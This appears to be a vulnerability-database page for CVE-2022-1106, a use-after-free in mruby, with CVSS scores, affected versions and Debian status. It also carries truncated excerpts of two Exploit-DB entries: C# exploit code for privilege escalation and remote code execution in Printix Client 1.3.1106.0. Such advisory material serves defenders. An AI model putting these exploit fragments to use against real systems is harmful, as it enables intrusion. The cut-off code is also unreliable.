CVE-2022-1106
published 2022-03-27CVE-2022-1106: use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2.
PriorityP339critical9.1CVSS 3.1
AVNACLPRNUINSUCHINAH
EPSS
1.03%
60.0th percentile
use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | mruby | — | — |
| mruby | mruby | <= 3.1 | — |
| mruby | mruby_mruby | >= unspecified < 3.2 | 3.2 |
CVSS provenance
nvdv3.19.1CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
nvdv3.07.2HIGHCVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
nvdv2.06.4MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:P
osv9.1CRITICAL
vendor_debian9.1LOW
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-r2j8-v967-j6h6: use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3
ghsa_unreviewed·2022-03-28
CVE-2022-1106 [CRITICAL] CWE-416 GHSA-r2j8-v967-j6h6: use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3
use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2.
OSV
CVE-2022-1106: use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3
osv·2022-03-27·CVSS 9.1
CVE-2022-1106 [CRITICAL] CVE-2022-1106: use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3
use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2.
Debian
CVE-2022-1106: mruby - use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2.
vendor_debian·2022·CVSS 9.1
CVE-2022-1106 [CRITICAL] CVE-2022-1106: mruby - use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2.
use after free in mrb_vm_exec in GitHub repository mruby/mruby prior to 3.2.
Scope: local
bookworm: resolved
bullseye: resolved
forky: resolved
sid: resolved
trixie: resolved
No detection rules found.
Exploit-DB
Printix Client 1.3.1106.0 - Privilege Escalation
exploitdb·2022-03-09·CVSS 8.1
CVE-2022-25090 [HIGH] Printix Client 1.3.1106.0 - Privilege Escalation
Printix Client 1.3.1106.0 - Privilege Escalation
---
# Exploit Title: Printix Client 1.3.1106.0 - Privilege Escalation
# Date: 3/2/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link:
https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: 0)
{
Console.WriteLine("File Added: " + args[0]);
}
}
catch (Exception e)
{
Console.WriteLine("You\'re missing a file here, please ensure that you drag and drop a payload to execute.\n \n We'll print the error for you right here...\n \n");
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(e);
Console.ReadLine();
Environment.Exit(40);
}
Console.WriteLine("\n We're going to look for your printix installer, one moment...");
string[] installerSearch = Directory.GetFiles(@
Exploit-DB
Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
exploitdb·2022-03-02·CVSS 9.8
CVE-2022-25089 [CRITICAL] Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
---
# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: byteContainer = new List();
//Dword = 4
//SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)
switch (dataF)
{
case (1):
loader = selectDataType(dataB, RegistryValueKind.String);
byteContainer.Add(1);
break;
case (2):
loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
byteContainer.Add(4);
break;
case (3):
loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
byteContainer.Add(11);
break;
case (4
No writeups or analysis indexed.
2022-03-27
Published